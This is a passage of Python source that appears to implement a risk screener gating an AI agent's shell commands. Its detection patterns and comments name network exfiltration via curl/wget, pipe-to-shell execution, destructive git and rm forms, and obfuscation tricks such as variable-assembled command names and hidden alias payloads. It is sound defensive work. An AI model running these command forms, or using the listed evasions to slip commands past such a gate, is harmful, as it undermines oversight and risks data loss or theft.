# working-tree changes; a bare `git checkout <branch>` (switching) does not.
|
|
_HIGH_RISK_GIT_CHECKOUT_FLAGS = frozenset({"-f", "--force", "-B"})
|
|
# `git checkout-index -f` overwrites working-tree files from the index.
|
|
_HIGH_RISK_GIT_CHECKOUT_INDEX_FLAGS = frozenset({"-f", "--force"})
|
|
# `git tag -d` deletes a ref; `git tag -f` replaces one that already exists.
|
|
_HIGH_RISK_GIT_TAG_FLAGS = frozenset({"-d", "--delete", "-f", "--force"})
|
|
# `git -c alias.NAME=PAYLOAD` defines an alias git then runs; a leading `!` makes
|
|
# the payload a shell command.
|
|
_GIT_ALIAS_ASSIGN_RE = re.compile(r"^alias\.[^=]+=(.*)$", re.DOTALL)
|
|
# `git --config-env=alias.n=VAR n` names an environment variable whose value
|
|
# becomes the alias body, so the code is never present in the command text.
|
|
_GIT_CONFIG_ENV_ALIAS_RE = re.compile(r"(?:^|=)alias\.", re.IGNORECASE)
|
|
# git global options taking a separate value token (git -C repo clean); the value
|
|
# must be consumed so it is not mistaken for the subcommand.
|
|
_GIT_GLOBAL_VALUE_FLAGS = frozenset(
|
|
{"-C", "-c", "--git-dir", "--work-tree", "--namespace", "--exec-path", "--config-env"}
|
|
)
|
|
# Shells whose `-c PAYLOAD` runs an inline program: the payload is recursively
|
|
# screened, so a high-risk command wrapped in `bash -c '...'` is still caught. The
|
|
# hard-block only recurses for its own smaller command set.
|
|
_SHELL_C_INTERPRETERS = frozenset({"sh", "bash", "zsh", "dash", "ksh", "fish", "ash"})
|
|
# A command synthesized by a command substitution at command position
|
|
# ($(printf rm) -rf build) cannot be read statically. A substitution in argument
|
|
# position (echo $(date), make $(FILES)) is left alone.
|
|
_COMMAND_SUBST_AT_CMD_RE = re.compile(
|
|
r"(?:^|[;&|\n(]|&&|\|\|)\s*(?:[A-Za-z_]\w*=[^\s;&|()]*\s+)*(?:\$\(|`)"
|
|
)
|
|
|
|
# A command substitution appearing anywhere ($(...) that is not arithmetic
|
|
# $((...)), or a backtick). Used to catch a substitution stashed in a variable
|
|
# (x=`...`) that a later dynamic exec runs, which never surfaces as literal text.
|
|
_HAS_COMMAND_SUBST_RE = re.compile(r"\$\((?!\()|`")
|
|
# The same as below, but only when the expansion is the WHOLE command word. A
|
|
# variable used as a path prefix (${VENV}/bin/python) still leaves a literal
|
|
# basename the scan can screen, so it is not unresolvable.
|
|
_BARE_VAR_AS_COMMAND_RE = re.compile(
|
|
r"(?:^|[;&|\n(]|&&|\|\|)\s*(?:[A-Za-z_]\w*=\S*\s+)*\$\{?\w+\}?(?=\s|$)"
|
|
)
|
|
# A variable expansion executed as a command: $VAR at command position, or a shell
|
|
# `-c` / eval whose payload contains a `$` expansion. Paired with
|
|
# _HAS_COMMAND_SUBST_RE this flags `x=`printf 'git clean -fd'`; bash -c "$x"`,
|
|
# assembled at runtime and so unscreenable statically.
|
|
_VAR_EXECUTED_AS_COMMAND_RE = re.compile(
|
|
r"(?:^|[;&|\n(]|&&|\|\|)\s*(?:[A-Za-z_]\w*=\S*\s+)*\$\{?\w"
|
|
r"|\b(?:sh|bash|zsh|dash|ksh|ash)\b[^\n]*?\s-c\b[^\n]*\$"
|
|
r"|\beval\b[^\n]*\$"
|
|
)
|
|
|
|
|
|
_SHELL_SEGMENT_SPLIT_RE = re.compile(r"^(?:;|&&|\|\||\||&)$")
|
|
|
|
|
|
# Wrappers that may sit in front of a network client without changing what it
|
|
# does, so the client is still at command position behind them.
|
|
_CLIENT_WRAPPERS = frozenset(
|
|
{"env", "command", "timeout", "nohup", "nice", "ionice", "stdbuf", "setsid", "exec"}
|
|
)
|
|
_CLIENT_WRAPPER_PREFIX = (
|
|
r"(?:(?:env|command|timeout|nohup|nice|ionice|stdbuf|setsid|exec)\s+"
|
|
r"(?:-\S+\s+|\d+(?:\.\d+)?[smhd]?\s+)*)*"
|
|
)
|
|
# The terminal sandbox shares the backend's installed environment, so removing
|
|
# a package (pip uninstall torch) breaks the running process. Installing does
|
|
# not, and is ordinary work, so only the removal verbs are gated.
|
|
_PKG_REMOVE_AT_CMD_RE = re.compile(
|
|
r"(?:^|[;&|\n(]|&&|\|\|)\s*(?:[A-Za-z_]\w*=\S*\s+)*(?:\S*/)?"
|
|
r"(?:(?:python[0-9.]*\s+-m\s+)?pip[0-9]*|uv\s+pip|pipx|conda|mamba|micromamba)"
|
|
r"\s+(?:uninstall|remove)\b",
|
|
re.IGNORECASE,
|
|
)
|
|
_CURL_AT_CMD_RE = re.compile(
|
|
r"(?:^|[;&|\n(]|&&|\|\|)\s*(?:[A-Za-z_]\w*=\S*\s+)*"
|
|
+ _CLIENT_WRAPPER_PREFIX
|
|
+ r"(?:\S*/)?curl\b",
|
|
re.IGNORECASE,
|
|
)
|
|
_WGET_AT_CMD_RE = re.compile(
|
|
r"(?:^|[;&|\n(]|&&|\|\|)\s*(?:[A-Za-z_]\w*=\S*\s+)*"
|
|
+ _CLIENT_WRAPPER_PREFIX
|
|
+ r"(?:\S*/)?wget\b",
|
|
re.IGNORECASE,
|
|
)
|
|
|
|
|
|
def _tokens_for_client_segment(tokens: list, has_curl: bool, has_wget: bool):
|
|
"""Tokens of the segments whose command is curl/wget, or None if there is no
|
|
such segment. Keeps an unrelated command's option letters out of the upload
|
|
scan (`ls -T && echo curl`)."""
|
|
segments: list = []
|
|
current: list = []
|
|
for t in tokens:
|
|
if _SHELL_SEGMENT_SPLIT_RE.match(t):
|
|
segments.append(current)
|
|
current = []
|
|
else:
|
|
current.append(t)
|
|
segments.append(current)
|
|
kept: list = []
|
|
for seg in segments:
|
|
# Skip leading NAME=value prefixes to find the command word.
|
|
i = 0
|
|
while i < len(seg) and re.match(r"^[A-Za-z_]\w*=", seg[i]):
|
|
i += 1
|
|
if i >= len(seg):
|
|
continue
|
|
# Step past a wrapper (env curl, timeout 5 curl) to the real client.
|
|
while i < len(seg):
|
|
base = os.path.basename(seg[i].strip(";&|()`{}")).lower()
|
|
if base not in _CLIENT_WRAPPERS:
|
|
break
|
|
i += 1
|
|
while i < len(seg) and (seg[i].startswith("-") or _WRAPPER_DURATION_RE.match(seg[i])):
|
|
i += 1
|
|
if i >= len(seg):
|
|
continue
|
|
base = os.path.basename(seg[i].strip(";&|()`{}")).lower()
|
|
if (has_curl and base == "curl") or (has_wget and base == "wget"):
|
|
kept.extend(seg[i:])
|
|
return kept or None
|
|
|
|
|
|
def _command_is_network_exec_or_exfil(command: str) -> bool:
|
|
"""curl/wget used to run remote code (piped into a shell, or via process
|
|
substitution) or to upload local data. Plain downloads (curl -O, wget URL)
|
|
are ordinary and stay out. Fails closed on an unparseable command."""
|
|
low = command.lower()
|
|
# A non-curl/wget client (nc/ssh/socat) or openssl's TLS socket is a remote
|
|
# reach in its own right, so gate it before the upload-flag logic below.
|
|
if _NETWORK_CLIENT_AT_CMD_RE.search(command) or _OPENSSL_NETWORK_RE.search(low):
|
|
return True
|
|
# A mention in argument position (`grep curl notes.txt`) is not an invocation,
|
|
# and treating it as one lends another command's option letters to the scan.
|
|
has_curl = bool(_CURL_AT_CMD_RE.search(command))
|
|
has_wget = bool(_WGET_AT_CMD_RE.search(command))
|
|
if not has_curl and not has_wget:
|
|
return False
|
|
if _PIPE_TO_INTERPRETER_RE.search(low):
|
|
return True
|
|
if "<(" in command: # bash <(curl ...) process substitution
|
|
return True
|
|
try:
|
|
tokens = shlex.split(command.replace("\n", " "), posix = True)
|
|
except ValueError:
|
|
return True
|
|
# Scope the flag scan to the segment that actually runs curl/wget: a shared
|
|
# option letter from an unrelated command (`ls -T && echo curl`) is not an
|
|
# upload flag.
|
|
tokens = _tokens_for_client_segment(tokens, has_curl, has_wget)
|
|
if tokens is None:
|
|
return False
|
|
method_pending = False
|
|
for t in tokens:
|
|
name = t.split("=", 1)[0]
|
|
# curl -X DELETE / --request PUT mutates a remote resource, not a plain
|
|
# download. Separated, attached (-XDELETE) and --request=DELETE forms.
|
|
if has_curl:
|
|
if method_pending:
|
|
method_pending = False
|
|
if t.lower() in _CURL_DESTRUCTIVE_METHODS:
|
|
return True
|
|
if name in _CURL_METHOD_FLAGS:
|
|
if "=" in t and t.split("=", 1)[1].lower() in _CURL_DESTRUCTIVE_METHODS:
|
|
return True
|
|
method_pending = True
|
|
continue
|
|
if t.startswith("-X") and t[2:].lower() in _CURL_DESTRUCTIVE_METHODS:
|
|
return True
|
|
if has_wget:
|
|
# wget --method=DELETE / --method DELETE is the same remote mutation.
|
|
if method_pending:
|
|
method_pending = False
|
|
if t.lower() in _CURL_DESTRUCTIVE_METHODS:
|
|
return True
|
|
if name in _WGET_METHOD_FLAGS:
|
|
if "=" in t and t.split("=", 1)[1].lower() in _CURL_DESTRUCTIVE_METHODS:
|
|
return True
|
|
method_pending = True
|
|
continue
|
|
if has_curl and (
|
|
name in _CURL_UPLOAD_LONG_FLAGS
|
|
# a curl short upload flag, attached or not (-d@f, -Ffile=@dump.sql)
|
|
or (not name.startswith("--") and name.startswith(_CURL_UPLOAD_SHORT_FLAGS))
|
|
):
|
|
return True
|
|
if has_wget and name in _WGET_UPLOAD_FLAGS:
|
|
return True
|
|
return False
|
|
|
|
|
|
# `git clean -n` / `--dry-run` only lists what would be removed.
|
|
_GIT_CLEAN_DRY_RUN_FLAGS = frozenset({"-n", "--dry-run"})
|
|
|
|
|
|
def _container_subcommand_is_read_only(tokens: list, start: int) -> bool:
|
|
"""Whether a container CLI's first positional is a read subcommand. A bare
|
|
`docker` or `docker --version` prints help and runs nothing."""
|
|
for t in tokens[start + 1 :]:
|
|
if t in _SHELL_SEPARATORS or not set(t) - set(";&|()"):
|
|
break
|
|
if t.startswith("-"):
|
|
continue
|
|
return t.lower() in _CONTAINER_READ_SUBCOMMANDS
|
|
return True
|
|
|
|
|
|
def _segment_has_command_after(tokens: list, start: int) -> bool:
|
|
"""Whether a command word follows an assignment in the same segment. A bare
|
|
`export PATH=...` or `FOO=bar` runs nothing: every terminal call gets its own
|
|
shell process, so an assignment with no command dies with it."""
|
|
for t in tokens[start + 1 :]:
|
|
if t in _SHELL_SEPARATORS or not set(t) - set(";&|()"):
|
|
return False
|
|
if _ASSIGNMENT_RE.match(t) or t.startswith("-"):
|
|
continue
|
|
return True
|
|
return False
|
|
|
|
|
|
def _segment_has_flag(
|
|
tokens: list,
|
|
start: int,
|
|
exact: frozenset,
|
|
letters: str = "",
|
|
) -> bool:
|
|
"""Whether a flag appears in the same command segment as ``start``, so a
|
|
later command's options are not read as this command's."""
|
|
for t in tokens[start + 1 :]:
|
|
if t in _SHELL_SEPARATORS or not set(t) - set(";&|()"):
|
|
break
|
|
if t in exact:
|
|
return True
|
|
if letters and t[:1] == "-" and t[:2] != "--" and "=" not in t:
|
|
if any(ch in letters for ch in t[1:]):
|
|
return True
|
|
return False
|
|
|
|
|
|
def _segment_is_recursive(tokens: list, start: int) -> bool:
|
|
"""Whether a recursive flag (-R / --recursive / an -rf style cluster) belongs
|
|
to the command starting at ``start``: scan only up to the next separator, so
|
|
`grep -R x . && chmod +x f` does not make the chmod look recursive."""
|
|
for t in tokens[start + 1 :]:
|
|
if t in _SHELL_SEPARATORS or not set(t) - set(";&|()"):
|
|
break
|
|
if t in ("-R", "--recursive"):
|
|
return True
|
|
if t[:1] == "-" and t[:2] != "--" and "=" not in t and "R" in t[1:]:
|
|
return True
|
|
return False
|
|
|
|
|
|
def _inline_python_is_high_risk(code: str) -> bool:
|
|
"""Screen a `python -c` payload with the same analyzer the python tool uses,
|
|
so an ordinary one-liner runs and a destructive one still asks. Source that
|
|
does not parse fails closed: shell quoting may have mangled it, leaving
|
|
nothing to screen."""
|
|
try:
|
|
ast.parse(code)
|
|
except SyntaxError:
|
|
return True
|
|
return _python_is_high_risk(code)
|
|
|
|
|
|
def _terminal_is_high_risk(command: str, _depth: int = 0) -> bool:
|
|
"""High-risk terminal command for auto mode: credential/secret access,
|
|
privilege escalation, destructive/persistence changes, or network
|
|
exec/exfil. Ordinary dev commands run without a prompt. Fails closed
|
|
(prompts) on an unparseable command. ``_depth`` bounds the recursion into
|
|
shell ``-c`` payloads."""
|
|
if len(command) > _MAX_TERMINAL_SCAN_CHARS:
|
|
# Far longer than any ordinary command, and screening it is superlinear,
|
|
# so it asks instead.
|
|
return True
|
|
if not command or not command.strip():
|
|
return False
|
|
# A credential/secret path read or write, or a sandbox escape (../), asks.
|
|
if _command_references_sensitive(command):
|
|
return True
|
|
# A bare redirection with no command (`> notes.txt`, `: > notes.txt`) truncates
|
|
# the file to zero bytes, the same loss as the gated `truncate -s 0`. A
|
|
# redirect after a real command (`python train.py > out.log`) stays out.
|
|
if _BARE_TRUNCATING_REDIRECT_RE.search(command):
|
|
return True
|
|
# A process substitution an interpreter executes runs a script the static scan
|
|
# cannot read, so fail closed.
|
|
if _PROC_SUBST_EXEC_RE.search(command):
|
|
return True
|
|
# A script piped into a shell (printf '...' | bash) or fed as a herestring
|
|
# (bash <<< '...') is executed without ever appearing at command position.
|
|
if _PKG_REMOVE_AT_CMD_RE.search(command):
|
|
return True
|
|
if _PIPE_TO_INTERPRETER_RE.search(command.lower()):
|
|
return True
|
|
_herestring = _HERESTRING_TO_INTERPRETER_RE.search(command)
|
|
if _herestring:
|
|
return True
|
|
# Newlines separate commands in a shell but read as whitespace to shlex, and
|
|
# ANSI-C quoting ($'rm') hides the real command name.
|
|
normalized = (
|
|
_decode_ansi_c(command, keep_one_word = True)
|
|
.replace("\r\n", ";")
|
|
.replace("\n", ";")
|
|
.replace("\r", ";")
|
|
)
|
|
# A verb hidden behind an assignment (c=rm; $c x) or a default parameter
|
|
# (${c:-rm}) is expanded so the resolved token is scanned too.
|
|
expanded = _expand_shell_assignments(_expand_param_defaults(normalized))
|
|
# Run the network exfil check over the expanded form too, so a curl/wget
|
|
# name assembled from variables (c=cu d=rl; $c$d -F ...) is still seen.
|
|
if _command_is_network_exec_or_exfil(command) or _command_is_network_exec_or_exfil(expanded):
|
|
return True
|
|
# A command substitution at command position generates the command Bash runs.
|
|
if _COMMAND_SUBST_AT_CMD_RE.search(command):
|
|
return True
|
|
# A variable executed at command position hides the name that actually runs. A
|
|
# plain assignment is resolved by the expansion above, so reaching here means
|
|
# the binding came from somewhere this scan cannot follow (a command
|
|
# substitution, or `printf -v c rm`). No name left to screen: fail closed.
|
|
if _HAS_COMMAND_SUBST_RE.search(command) and _VAR_EXECUTED_AS_COMMAND_RE.search(command):
|
|
return True
|
|
if _BARE_VAR_AS_COMMAND_RE.search(expanded):
|
|
return True
|
|
# An array run as a command (x=(git clean -fd); bash -c "${x[*]}") carries no
|
|
# command substitution, and assignment expansion does not resolve arrays, so
|
|
# the check above misses it. A benign array print is untouched.
|
|
if _ARRAY_EXPANSION_RE.search(command) and _VAR_EXECUTED_AS_COMMAND_RE.search(command):
|
|
return True
|
|
for text in {normalized, expanded}:
|
|
try:
|
|
lexer = shlex.shlex(text, posix = True, punctuation_chars = ";&|()")
|
|
lexer.whitespace_split = True
|
|
tokens = list(lexer)
|
|
except ValueError:
|
|
return True
|
|
recursive = any(
|
|
t in ("-R", "--recursive")
|
|
or (t[:1] == "-" and t[:2] != "--" and "=" not in t and "R" in t[1:])
|
|
for t in tokens
|
|
)
|
|
find_like = any(
|
|
os.path.basename(t.strip(";&|()`{}")).lower() in ("find", "fd") for t in tokens
|
|
)
|
|
if find_like and any(t.split("=", 1)[0] in _HIGH_RISK_FIND_FLAGS for t in tokens):
|
|
return True
|
|
# GNU tar runs --checkpoint-action=exec=CMD at each checkpoint, hiding a
|
|
# command (including hard-blocked ones) inside an argument.
|
|
if any(
|
|
os.path.basename(t.strip(";&|()`{}")).lower() in _ARG_EXEC_FLAG_OWNERS for t in tokens
|
|
) and any(t.split("=", 1)[0] in _HIGH_RISK_ARG_EXEC_FLAGS for t in tokens):
|
|
return True
|
|
# An interpreter serving on the network exposes the session workdir; the
|
|
# sandbox keeps no network namespace.
|
|
if _LISTENER_PY_MODULE_RE.search(text) or _LISTENER_BIN_AT_CMD_RE.search(text):
|
|
return True
|
|
expect_command = True # at the start of a command (after a separator)
|
|
prefix_pending = False # inside a wrapper (env/timeout/...) still seeking the command
|
|
scan_forward = False # a forwarding command (find/xargs/...) precedes another command
|
|
current_command = "" # the resolved command whose flags / git subcommand we judge
|
|
git_subcommand = "" # the first positional after `git`
|
|
shell_c_pending = False # a shell `-c` precedes its inline payload
|
|
wrapper_value_pending = False # a wrapper option precedes its value
|
|
exec_flag_pending = False # inside find/fd, waiting for -exec
|
|
git_checkout_positionals = 0 # positionals seen after `git checkout`
|
|
git_worktree_action = "" # the action after `git worktree`
|
|
win_operand_pending = False # operand of a Windows `if exist`/`if defined`
|
|
inline_python_pending = False # next token is a `python -c` payload
|
|
py_module_pending = False # next token is the module after `python -m`
|
|
git_submodule_action = "" # the action after `git submodule`
|
|
awk_program_pending = False # next positional is an awk program
|
|
git_config_alias_pending = False # `git config alias.x` precedes its body
|
|
git_glob_pending = False # a git global option (-C repo) precedes its value
|
|
chdir_pending = False # a cd/pushd precedes its target directory
|
|
for _tok_idx, token in enumerate(tokens):
|
|
if (
|
|
token in _SHELL_SEPARATORS
|
|
or (token in _SHELL_KEYWORDS_AS_SEP and expect_command)
|
|
or not set(token) - set(";&|()")
|
|
):
|
|
expect_command = True
|
|
prefix_pending = False
|
|
# A dangling wrapper option (env -u ; rm ...) must not consume
|
|
# the next segment's command word.
|
|
wrapper_value_pending = False
|
|
scan_forward = False
|
|
current_command = ""
|
|
git_subcommand = ""
|
|
git_worktree_action = ""
|
|
win_operand_pending = False
|
|
inline_python_pending = False
|
|
py_module_pending = False
|
|
git_submodule_action = ""
|
|
awk_program_pending = False
|
|
shell_c_pending = False
|
|
git_glob_pending = False
|
|
chdir_pending = False
|
|
continue
|
|
if py_module_pending:
|
|
py_module_pending = False
|
|
if token.strip("\"'").lower() in _LISTENER_PY_MODULE_NAMES:
|
|
return True
|
|
if inline_python_pending:
|
|
inline_python_pending = False
|
|
if _depth >= 3 or _inline_python_is_high_risk(token):
|
|
return True
|
|
continue
|
|
if expect_command and token.lower() in _WIN_CONDITIONAL_KEYWORDS:
|
|
# `if exist FILE del FILE`: the operand sits where the command
|
|
# word would be, so the real command is still ahead.
|
|
win_operand_pending = token.lower() != "not"
|
|
continue
|
|
if win_operand_pending:
|
|
win_operand_pending = False
|
|
continue
|
|
if expect_command and _REDIR_PREFIX_RE.match(token):
|
|
# Bash accepts a redirection before the command word
|
|
# (`</dev/null rm -rf build`); the command is still to come.
|
|
continue
|
|
if token.startswith("-"):
|
|
flag = token.split("=", 1)[0]
|
|
# find/fd: the command after -exec/-ok is the one that runs.
|
|
if exec_flag_pending and flag in _EXEC_FORWARD_FLAGS:
|
|
# `fd . --exec=rm` attaches the command to the flag, so the
|
|
# value is the command that runs, not an option argument.
|
|
if "=" in token and flag in _ATTACHED_EXEC_FLAGS:
|
|
attached = token.split("=", 1)[1].strip("\"'")
|
|
if attached and (
|
|
_depth >= 3 or _terminal_is_high_risk(attached, _depth + 1)
|
|
):
|
|
return True
|
|
scan_forward = True
|
|
expect_command = True
|
|
continue
|
|
if current_command == "setpriv" and flag in _SETPRIV_PRIVILEGE_FLAGS:
|
|
# Ahead of the wrapper-value skip below, which would otherwise
|
|
# swallow `--reuid 0` before it is judged.
|
|
return True
|
|
# A wrapper option taking a SEPARATE value (env -u NAME): the next
|
|
# token is that value, not the wrapped command.
|
|
if (
|
|
prefix_pending
|
|
and "=" not in token
|
|
and flag in _WRAPPER_VALUE_FLAGS_BY_CMD.get(current_command, frozenset())
|
|
):
|
|
wrapper_value_pending = True
|
|
continue
|
|
# An interpreter running inline code (python -c, node -e) executes
|
|
# a program the terminal path never screens. Matches the long
|
|
# --eval/--exec forms and any short cluster carrying -c.
|
|
_inline_spec = (
|
|
_inline_code_flag_spec(current_command)
|
|
if _is_inline_code_interpreter(current_command)
|
|
else None
|
|
)
|
|
_current_is_python_family = current_command.startswith(("python", "pypy"))
|
|
if _current_is_python_family and flag == "-m":
|
|
py_module_pending = True
|
|
continue
|
|
if _inline_spec is not None and (
|
|
flag in _inline_spec[0] or _short_flag_arg(token, _inline_spec[1]) is not None
|
|
):
|
|
# Python payloads go through the python tool's analyzer, so an
|
|
# ordinary one-liner runs and a destructive one asks. The other
|
|
# runtimes have no analyzer here, so they stay gated.
|
|
if _current_is_python_family:
|
|
# A bare `-c` yields an EMPTY attached value, not None,
|
|
# so the payload is the next token; only a non-empty
|
|
# value is the attached form (python -c'print(1)').
|
|
_attached = _short_flag_arg(token, _inline_spec[1])
|
|
if _attached:
|
|
if _depth >= 3 or _inline_python_is_high_risk(_attached):
|
|
return True
|
|
continue
|
|
inline_python_pending = True
|
|
continue
|
|
return True
|
|
# node/bun -p / --print evaluate and print arbitrary source, the
|
|
# same inline-code risk as -e/--eval (attached node -p'...' too).
|
|
if current_command in _NODE_PRINT_INTERPRETERS and (
|
|
flag in _NODE_PRINT_FLAGS or _short_flag_arg(token, "p") is not None
|
|
):
|
|
return True
|
|
# PowerShell -Command / -EncodedCommand run an inline program the
|
|
# terminal path cannot screen; a bare `pwsh script.ps1` still runs.
|
|
if current_command in _POWERSHELL_INTERPRETERS and flag.lower().startswith(
|
|
("-c", "-e")
|
|
):
|
|
return True
|
|
# A shell `-c PAYLOAD` runs its quoted payload; screen it
|
|
# recursively. Combined clusters (bash -lc) carry -c too.
|
|
if current_command in _SHELL_C_INTERPRETERS:
|
|
payload = _short_flag_arg(token, "c")
|
|
if payload is not None:
|
|
# A short run of plain letters after `c` (bash -ce) is more
|
|
# bash OPTIONS, not an attached payload: the command string
|
|
# still comes from the next token.
|
|
if payload and payload.isalpha() and len(payload) <= 4:
|
|
shell_c_pending = True
|
|
elif payload:
|
|
if _depth >= 3:
|
|
return True
|
|
if _terminal_is_high_risk(payload, _depth + 1):
|
|
return True
|
|
else:
|
|
shell_c_pending = True
|
|
# env -S 'cmd' runs the string as a new command, so screen it;
|
|
# env -C chdirs (enabling a relative sensitive read), so it asks.
|
|
if current_command == "env":
|
|
if flag in ("-C", "--chdir"):
|
|
return True
|
|
payload = None
|
|
if token.startswith("-S") and token != "-S":
|
|
payload = token[2:] # attached: -S'cmd'
|
|
elif flag == "--split-string" and "=" in token:
|
|
payload = token.split("=", 1)[1]
|
|
elif token == "-S" or flag == "--split-string":
|
|
shell_c_pending = True # payload is the next token
|
|
if (
|
|
payload is not None
|
|
and _depth < 3
|
|
and _terminal_is_high_risk(payload, _depth + 1)
|
|
):
|
|
return True
|
|
if current_command == "sysctl" and flag in _SYSCTL_WRITE_FLAGS:
|
|
return True
|
|
if current_command == "fallocate" and (
|
|
flag in _FALLOCATE_DESTRUCTIVE_FLAGS
|
|
or any(f in _FALLOCATE_DESTRUCTIVE_FLAGS for f in _short_flag_cluster(token))
|
|
):
|
|
return True
|
|
if (
|
|
current_command == "git"
|
|
and git_subcommand == "worktree"
|
|
and git_worktree_action == "remove"
|
|
and flag in _HIGH_RISK_GIT_WORKTREE_FLAGS
|
|
):
|
|
return True
|
|
if current_command == "git":
|
|
# reset --hard discards the working tree; push --force
|
|
# overwrites a remote ref.
|
|
if git_subcommand == "reset" and flag in _HIGH_RISK_GIT_RESET_FLAGS:
|
|
return True
|
|
if git_subcommand == "push" and (
|
|
flag in _HIGH_RISK_GIT_PUSH_FLAGS
|
|
or any(f in _HIGH_RISK_GIT_PUSH_FLAGS for f in _short_flag_cluster(token))
|
|
):
|
|
return True
|
|
# git checkout -f / --force, or an explicit `--` path
|
|
# separator (git checkout -- file), discards tracked edits.
|
|
if git_subcommand == "checkout" and (
|
|
flag in _HIGH_RISK_GIT_CHECKOUT_FLAGS
|
|
or any(
|
|
f in _HIGH_RISK_GIT_CHECKOUT_FLAGS for f in _short_flag_cluster(token)
|
|
)
|
|
or token == "--"
|
|
or flag == "--pathspec-from-file"
|
|
):
|
|
return True
|
|
if git_subcommand == "checkout-index" and (
|
|
flag in _HIGH_RISK_GIT_CHECKOUT_INDEX_FLAGS
|
|
or any(
|
|
f in _HIGH_RISK_GIT_CHECKOUT_INDEX_FLAGS
|
|
for f in _short_flag_cluster(token)
|
|
)
|
|
):
|
|
return True
|
|
if git_subcommand == "tag" and (
|
|
flag in _HIGH_RISK_GIT_TAG_FLAGS
|
|
or any(f in _HIGH_RISK_GIT_TAG_FLAGS for f in _short_flag_cluster(token))
|
|
):
|
|
return True
|
|
if git_subcommand == "switch" and (
|
|
flag in _HIGH_RISK_GIT_SWITCH_FLAGS
|
|
or any(f in _HIGH_RISK_GIT_SWITCH_FLAGS for f in _short_flag_cluster(token))
|
|
):
|
|
return True
|
|
# git branch -D / -M drops or overwrites unmerged commits.
|
|
if git_subcommand == "branch" and (
|
|
flag in _HIGH_RISK_GIT_BRANCH_FLAGS
|
|
or any(f in _HIGH_RISK_GIT_BRANCH_FLAGS for f in _short_flag_cluster(token))
|
|
):
|
|
return True
|
|
# --config-env=<key>=<envvar> reads the value from the
|
|
# environment, unresolvable here, so an alias key would store
|
|
# unscreened code git runs on the next call.
|
|
if flag == "--config-env" and _GIT_CONFIG_ENV_ALIAS_RE.search(token):
|
|
return True
|
|
# A git global option with a separate value (git -C repo clean)
|
|
# precedes its value, not the subcommand.
|
|
if not git_subcommand and "=" not in token and flag in _GIT_GLOBAL_VALUE_FLAGS:
|
|
git_glob_pending = True
|
|
continue
|
|
if _ASSIGNMENT_RE.match(token):
|
|
_assign_name, _, _assign_value = token.partition("=")
|
|
# `alias zap='rm -rf'` stores a command bash runs when the alias
|
|
# is invoked, the same shape as a git alias body.
|
|
if current_command == "alias" and _assign_value:
|
|
if _depth >= 3 or _terminal_is_high_risk(_assign_value, _depth + 1):
|
|
return True
|
|
# PATH/LD_PRELOAD-style assignments hijack command lookup, but only
|
|
# for the command they prefix: a bare `export PATH=...` runs
|
|
# nothing, and the shell it was set in exits immediately.
|
|
if _env_assignment_is_unsafe(
|
|
_assign_name, _assign_value
|
|
) and _segment_has_command_after(tokens, _tok_idx):
|
|
return True
|
|
continue
|
|
raw = token.strip(";&|()`{}")
|
|
if not raw:
|
|
continue
|
|
# cmd.exe /c (or /k) runs the following token as a nested command. /c is
|
|
# not a `-`-flag, so it is handled here in argument position after cmd.
|
|
if current_command in _CMD_SHELLS and raw.lower() in ("/c", "/k"):
|
|
shell_c_pending = True
|
|
continue
|
|
# The payload of a shell `-c`, screened recursively (bounded depth).
|
|
if shell_c_pending:
|
|
shell_c_pending = False
|
|
# An unquoted payload (cmd /c git clean -fd) spans the remaining
|
|
# tokens, so screen the whole remainder.
|
|
payload = " ".join(tokens[_tok_idx:])
|
|
if _depth >= 3:
|
|
# Too deeply nested to screen: fail closed.
|
|
return True
|
|
if _terminal_is_high_risk(payload, _depth + 1):
|
|
return True
|
|
if payload != raw and _terminal_is_high_risk(raw, _depth + 1):
|
|
return True
|
|
expect_command = False
|
|
continue
|
|
# The value of a git global option (git -C repo clean): not the subcommand.
|
|
if git_glob_pending:
|
|
git_glob_pending = False
|
|
# `git -c alias.x=BODY` defines an alias git later executes, so the
|
|
# payload is real code hiding in an option value: screen it.
|
|
m = _GIT_ALIAS_ASSIGN_RE.match(raw)
|
|
if m and _depth < 3:
|
|
alias_body = m.group(1)
|
|
# A `!` alias runs through a shell; a plain one is a git
|
|
# subcommand, so screen it as `git <body>` to reach the git
|
|
# gates (alias.n='clean -fd' really runs `git clean -fd`).
|
|
nested = alias_body[1:] if alias_body.startswith("!") else "git " + alias_body
|
|
if _terminal_is_high_risk(nested, _depth + 1):
|
|
return True
|
|
continue
|
|
# The value of a wrapper option (env -u FOO, stdbuf -o L): not the
|
|
# command, so skip it and keep looking for the wrapped command.
|
|
if wrapper_value_pending:
|
|
wrapper_value_pending = False
|
|
continue
|
|
# A wrapper's bare duration argument (timeout 5 rm) is not the command.
|
|
if prefix_pending and _WRAPPER_DURATION_RE.fullmatch(raw):
|
|
continue
|
|
base = os.path.basename(raw).lower()
|
|
stem, ext = os.path.splitext(base)
|
|
if ext in {".exe", ".com", ".bat", ".cmd"}:
|
|
base = stem
|
|
if (expect_command or prefix_pending) and (
|
|
base in _AUTO_SAFE_WRAPPERS
|
|
or base in _MULTICALL_BINARIES
|
|
or base in _PRIVILEGE_EXEC_WRAPPERS
|
|
):
|
|
# A wrapper (env/timeout) or a multicall binary (busybox rm)
|
|
# precedes the real command; keep seeking it, but track it so its
|
|
# own flags (env -S / -C) are judged in the meantime.
|
|
prefix_pending = True
|
|
expect_command = False
|
|
current_command = base
|
|
continue
|
|
if expect_command or prefix_pending or scan_forward:
|
|
if base in _HIGH_RISK_COMMANDS or base.startswith("mkfs"):
|
|
# A container CLI reading its own state (docker ps, docker
|
|
# logs) inspects; anything else starts or enters a container.
|
|
if not (
|
|
base in _CONTAINER_CLIS
|
|
and _container_subcommand_is_read_only(tokens, _tok_idx)
|
|
):
|
|
return True
|
|
# Bash expands a command-position glob after this scan, so the name
|
|
# here is not the one that runs (`/bin/r[m] -rf x`): ask.
|
|
if _is_unresolved_command_glob(base):
|
|
return True
|
|
# A server binary resolved here covers the wrapped and absolute
|
|
# forms (env uvicorn app:api, timeout 60 gunicorn, /usr/bin/uvicorn).
|
|
if base in _LISTENER_BINARIES:
|
|
return True
|
|
if base in _HIGH_RISK_RECURSIVE_COMMANDS and _segment_is_recursive(
|
|
tokens, _tok_idx
|
|
):
|
|
return True
|
|
if base in _HIGH_RISK_FORWARDING_COMMANDS:
|
|
# find/fd only run a child at -exec/-ok; forwarding from the
|
|
# command itself would make `find . -name rm` prompt.
|
|
if base in _EXEC_FLAG_FORWARDING_COMMANDS:
|
|
scan_forward = False
|
|
exec_flag_pending = True
|
|
else:
|
|
scan_forward = True
|
|
elif base == "git":
|
|
